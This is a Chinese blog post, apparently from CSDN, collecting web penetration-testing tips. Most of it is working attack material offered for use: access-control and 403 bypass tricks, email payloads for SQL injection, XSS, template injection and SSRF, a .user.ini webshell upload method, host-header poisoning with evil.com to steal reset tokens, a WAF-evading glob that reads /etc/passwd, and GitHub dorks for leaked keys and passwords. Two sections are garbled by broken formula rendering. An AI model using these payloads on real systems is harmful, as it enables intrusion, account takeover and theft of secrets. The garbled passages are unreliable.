• 渗透测试漏洞挖掘技巧


    一、使用.json进行敏感数据泄漏

    这是使用.json扩展名实现敏感数据泄漏的提示。
    请求:GET /ResetPassword HTTP/1.1{“email”:“victim@example.com”}
    响应:HTTP/1.1 200 OK

    e.g.
    请求:GET /ResetPassword.json HTTP/1.1{“email”:“victim@example.com”}
    响应:HTTP/1.1 200 OK{“success”:“true”,“token”:“596a96-cc7bf-9108c-d896f-33c44a-edc8a”}
    请注意,在我们的请求中添加了.json扩展名,这导致获得了秘密令牌!

    二、如何查找身份验证绕过漏洞

    这是一个有趣的提示,可以帮助您找到身份验证绕过漏洞:
    请求:GET /delete?user=test HTTP/1.1
    响应:HTTP/1.1 401 Unauthorized

    现在让我们尝试一下:
    请求:GET /delete?user=test HTTP/1.1 X-Custom-IP-Authorization: 127.0.0.1
    响应:HTTP/1.1 302 Found
    这在前端使用添加的自定义HTTP标头(X-Custom-IP-Authorization)的情况下可能有效-例如,当它用于标识通过负载均衡器连接到Web服务器的客户端的原始IP地址时。
    通过将自己标识为127.0.0.1,我们可以规避Web应用程序的访问控制并执行特权操作。

    三、在Drupal上找到隐藏的页面

    如果您正在Drupal网站上找漏洞,在‘/node/ ’上使用 B u r p S u i t e I n t r u d e r (或其他类似工具)进行模糊测试,其中’ ’ 上使用Burp Suite Intruder(或其他类似工具)进行模糊测试,其中’ 上使用BurpSuiteIntruder(或其他类似工具)进行模糊测试,其中’是一个数字(从1到500)。
    例如:
    https://target.com/node/1
    https://target.com/node/2
    https://target.com/node/3

    https://target.com/node/499
    https://target.com/node/500
    很有可能我们会找到搜索引擎未引用的隐藏页面(测试,开发)。

    四、遗忘的数据库备份

    这是使用此小型但快速的模糊列表查找数据库备份的list:
    /back.sql
    /backup.sql
    /accounts.sql
    /backups.sql
    /clients.sql
    /customers.sql
    /data.sql
    /database.sql
    /database.sqlite
    /users.sql
    /db.sql
    /db.sqlite
    /db_backup.sql
    /dbase.sql
    /dbdump.sql
    setup.sql
    sqldump.sql
    /dump.sql
    /mysql.sql
    /sql.sql
    /temp.sql
    旧的数据库转储可能包含各种敏感信息-用户凭证,配置设置,机密和api密钥,客户数据等。

    五、电子邮件地址payloads

    以下有效载荷都是有效的电子邮件地址,我们不仅可以用于基于Web的电子邮件系统的渗透测试。
    XSS(跨站脚本):
    test+(”@example.com
    模板注入:
    “<%=7 * 7 %>”@example.com
    test+(${{7*7}})@example.com
    SQL注入
    “'OR 1=1 – '”@example.com
    “mail’);DROP TABLE users;–”@example.com
    SSRF(服务器端请求伪造):
    john.doe@abc123.burpcollaborator.net
    john.doe@[127.0.0.1]
    参数污染:
    victim&email=attacker@example.com
    (电子邮件)标头注入:
    “%0d%0aContent-Length:%200%0d%0a%0d%0a”@example.com
    “recipient@test.com>\r\nRCPTTO:

    六、HTTP主机头:localhost

    在目录爆破中将“ Host”标头设置为“ localhost”,结果可能令人惊讶!您可能可以访问:
    特殊功能
    内部端口
    配置文件,SSL密钥
    目录列表,等等…
    我们甚至可以更进一步,通过执行虚拟主机枚举来尝试标识目标Web服务器上托管的所有站点。使用以下工具:
    https://github.com/ffuf/ffuf
    https://nmap.org/nsedoc/scripts/http-vhosts.html
    https://github.com/jobertabma/virtual-host-discovery
    注意,我们也可以使用curl或wget:
    curl-v -H “Host: localhost” https://target/
    wget-d --header=“Host: localhost” https://target/

    七、通过篡改URI访问管理面板

    这是通过以下方式篡改URI来访问管理面板的超级简单技巧:
    https://target.com/admin/ –> HTTP 302(重定向到登录页面)
    https://target.com/admin…;/ –> HTTP 200 OK
    也尝试以下技巧,其他人对此推文发表了评论:
    https://target.com/…/admin
    https://target.com/whatever/…;/admin

    八、通过URL编码空格访问管理面板

    通过篡改URI并添加额外的空格(%20)来帮助访问受限区域
    target.com/admin –> HTTP 302 (重定向到登陆页面)
    target.com/admin%20/ -> HTTP 200 OK
    target.com/%20admin%20/ -> HTTP 200 OK
    target.com/admin%20/page -> HTTP 200 OK
    作者能够使用此技巧来发现“身份验证和会话管理”损坏的问题,并访问目标Web应用程序中的管理面板。后端Web服务器是Apache HTTP服务器,但是它也可以在其他地方工作。
    Protip:还检查与此非常相似的先前发布的提示(BBT4-5,BBT4-6)。

    九、篡改URI绕过403

    该技巧与上一个技巧非常相似。通过篡改URI,我们也许可以绕过应用程序的访问控制:
    site.com/secret –>禁止HTTP 403
    site.com/secret/ ->HTTP 200 OK
    site.com/secret/。 –> HTTP 200 ok
    site.com//secret// ->HTTP 200 OK
    site.com/./secret/… –> HTTP 200 OK
    很少见到,但可以尝试一下。

    十、Bypass401、403

    以下是有关如何绕过403禁止和401未经授权错误的提示列表:
    1、通过添加headers:X-Originating-IP,X-Remote-IP,X-Client-IP,X-Forwarded-For等。有时,公司将那些可以访问敏感数据的IP列入白名单。这些标头将IP地址作为值,如果提供的IP与白名单中的IP地址匹配,则您可以访问资源。
    2、使用Unicode字符:尝试插入Unicode字符以绕过防御。尝试例如 ℀ = ca,℁= sa以及其他许多选项(在此处或此处检查)。因此,如果/cadmin被阻止,请尝试访问 ℀dmin。检查这对Unicode的黑客技巧短期YouTube视频的更多细节。
    3、通过覆盖,用标头覆盖URL:如果GET /admin给您403 Forbidden,请尝试GET /accessible(任何可访问的端点)并添加以下任何HTTP标头:
    X-Original-URL: /admin
    X-Override-URL: /admin
    X-Rewrite-URL: /admin
    4、尝试不同的负载:如果GET /admin有403 Forbidden,请尝试访问:
    /accessible/…;/admin
    /.;/admin
    /admin;/
    /admin/~
    /./admin/./
    /admin?param
    /%2e/admin
    /admin#
    5、方法切换:将方法从GET更改为POST,然后看是否有所收获。
    6、通过IP,Vhost:通过其IP或Vhost访问该站点以获取禁止的内容。
    7、模糊化:进一步对文件或目录进行暴力处理。
    Tips:还要检查与此有关的先前发布的提示:Tips-6-6,Tips-4-5和Tips-4-6。

    十一、文件上传引申其他漏洞

    在Web应用程序中测试文件上传功能时,请尝试将文件名设置为以下值:
    …/…/…/tmp/lol.png —> for path traversal
    sleep(10)-- -.jpg —> for SQL injection
    .jpg/png —> for XSS

    ; sleep 10; —> for command injections

    使用这些Payload,我们可能会触发其他漏洞。

    十二、文件上传.user.ini绕过

    先上传一个以auto_prepend_file=1.gif为内容的.user.ini文件【用户自定义的配置文件】。.user.ini文件里的意思是:所有的php文件都自动包含1.gif文件,.user.ini相当于一个用户自定义的php.ini。然后再上传一个内容为一句话木马的命名为1.gif的文件。上传成功之后,用webshell管理工具添加该图片的路径,但该图片名改为当前目录下的php文件,例如readme.php,输入密码连接成功
    有关 .user.ini 的参考请看:https://blog.csdn.net/weixin_52635170/article/details/126962920

    十三、密码中毒绕过账户接管

    该漏洞赏金提示演示了密码重置功能的绕过技术,该功能可能会导致ATO(帐户接管)。
    考虑以下3个请求:
    1、正常要求:
    Request:
    POST /password-reset?user=123 HTTP/1.1
    Host: target.com
    Link received:
    https://target.com/reset-link=1g2f3guy23g
    2、基本HHI(主机头注入):
    Request:
    POST /password-reset?user=123 HTTP/1.1
    Host: evil.com
    Link received:
    none
    Error 404 - request blocked
    3、Bypass
    Request:
    POST https://target.com/password-reset?user=123 HTTP/1.1
    Host: evil.com
    Link received:
    https://evil.com/reset-link=1g2f3guy23g
    注意,在绕过中,我们在POST请求中使用了绝对URL。在这种情况下,应完全忽略Host标头。但是,某些后端系统仍会处理它,而前端系统则不处理-只是不一致。
    如果成功,这可能会导致严重性较高的错误,从而导致重置令牌泄漏,进而导致帐户接管和特权升级。这是一个真实的错误报告,详细描述了影响。

    十四、查看源代码来查找LFI

    此漏洞赏金提示对于使用Web浏览器呈现输入到它们的URL的Web应用程序很有用。例如,这可能是Web应用程序的广告预览/数据验证功能。
    它也可能是一个Web应用程序,它将获取您的URL并为您截屏。您可以在服务器端呈现URL的任何地方找到它。
    好了,现在的实际提示是:
    作为一个漏洞搜寻者,您将尝试访问“ file:///etc/passwd”,对吗?但是,如果它被列入黑名单或以某种方式被阻止怎么办?尝试改为访问“ view-source:file:///etc/passwd”!
    开发人员经常在黑名单中忘记“查看源代码”功能。

    十五、在访问admin路径面板时可以通过添加%20来绕过

    target.com/admin –> HTTP 302 (重定向到登录页面)
    target.com/admin%20/ -> HTTP 200 OK
    target.com/%20admin%20/ -> HTTP 200 OK
    target.com/admin%20/page -> HTTP 200 OK

    十六、使用通配符绕Waf

    如果有WAF(Web应用程序防火墙)过滤您的RCE(远程代码执行)和LFI(本地文件包含)payload(有效负载),则可以尝试使用通配符绕过它。
    这是一个例子:
    /usr/bin/cat /etc/passwd == /???/???/c?t$IFS/?t?/p?s?wd
    Globbing是模式扩展的一种形式,用于匹配特定路径,并且使用以下通配符来实现:
    ? = any single character

    • = any string, including zero length string!
      Globbing可以在所有流行的平台上使用,包括Windows(CMD,PowerShell),UNIX和Mac。在UNIX平台上,我们还可以使用$ IFS特殊变量替换空白:
      I F S = I n t e r n a l F i e l d S e p a r a t o r = [ s p a c e ] , [ t a b ] o r a [ n e w l i n e ] 例如,所有这些都应在典型的 L i n u x 系统上执行“ / b i n / c a t / e t c / p a s s w d ”: / ∗ / ? a t IFS = Internal Field Separator = [space], [tab] or a [newline] 例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd”: /*/?at IFS=InternalFieldSeparator=[space],[tab]ora[newline]例如,所有这些都应在典型的Linux系统上执行“/bin/cat/etc/passwd//?atIFS/???/???swd
      /****/?at I F S / ? ? ? / ∗ s w d / ∗ ∗ ∗ ∗ / ? a t IFS/???/*swd /****/?at IFS/???/swd//?atIFS/???/*******swd

    十七、绕过邮件过滤导致Sql注入

    在这里插入图片描述在这里插入图片描述

    在本示例中,作者可以确定数据库名称的长度为10个字符,作为概念证明。通过使用Sqlmap将其自动化,可以转储整个数据库,甚至可以实现RCE并获得shell程序,具体取决于数据库后端。
    请注意,SQL注入是通过将引号(“)放在at(@)字符之前触发的,此处:
    “injection_here”@example.com
    带引号的电子邮件地址是有效的电子邮件地址,请参阅RFC3696中对电子邮件地址的限制。

    十八、手机发送短信时间被限制

    手机发送短信时间限制的话,可以在手机号前尝试使用特殊字符,或空格。他的逻辑应该是这样的,用户输入手机号——>后端判断该手机号是否在30秒或者60秒内请求过——>如果没有,判断发送过来的手机号是够是11位的纯数字,如果不是,去掉非数字字符——>和数据库中的手机号比对,是够存在于数据库中,如果存在那么向该手机发送验证码。

    十九、图片验证码

    图片验证码可设置为空,如:code=undefined

    二十、模板注入

    在{{xxx}}中输入的命令参数可被执行,如:
    www.baidu.com/{{1+1}}

    二十一、使用github dorks帮助我们寻找一些敏感信息

    比如:
    extension:pem private
    extension:ppk private
    extension:sql mysql dump password
    extension:json api.forecast.io
    extension:json mongolab.com
    extension:yaml mongolab.com
    extension:ica [WFClient] Password=
    extension:avastlic “support.avast.com”
    extension:js jsforce conn.login
    extension:json googleusercontent client_secret
    “target.com” send_keys
    “target.com” password
    “target.com” api_key
    “target.com” apikey
    “target.com” jira_password
    “target.com” root_password
    “target.com” access_token
    “target.com” config
    “target.com” client_secret
    “target.com” user auth
    通过上述语法,可以搜索到一些敏感的私钥,一些SSH登录私钥,mysql的数据库密码,API key等等。
    另外推荐一个脚本:https://github.com/techgaun/github-dorks

  • 相关阅读:
    Java 复习笔记 - 集合进阶篇:Collection集合
    [附源码]java毕业设计选课管理系统
    教你快速看懂 vue 路由守卫
    The 2022 ICPC Asia Regionals Online Contest (II) G
    微服务:微智能在软件系统的简述
    【统计分析】(task2) 假设检验2:多元数值向量检验
    OAuth2-单点-多点-三方登录
    es6中proxy如何使用
    探究短链接生成算法
    图解CentOS7集群时钟同步chronyd
  • 原文地址:https://blog.csdn.net/wutiangui/article/details/133823974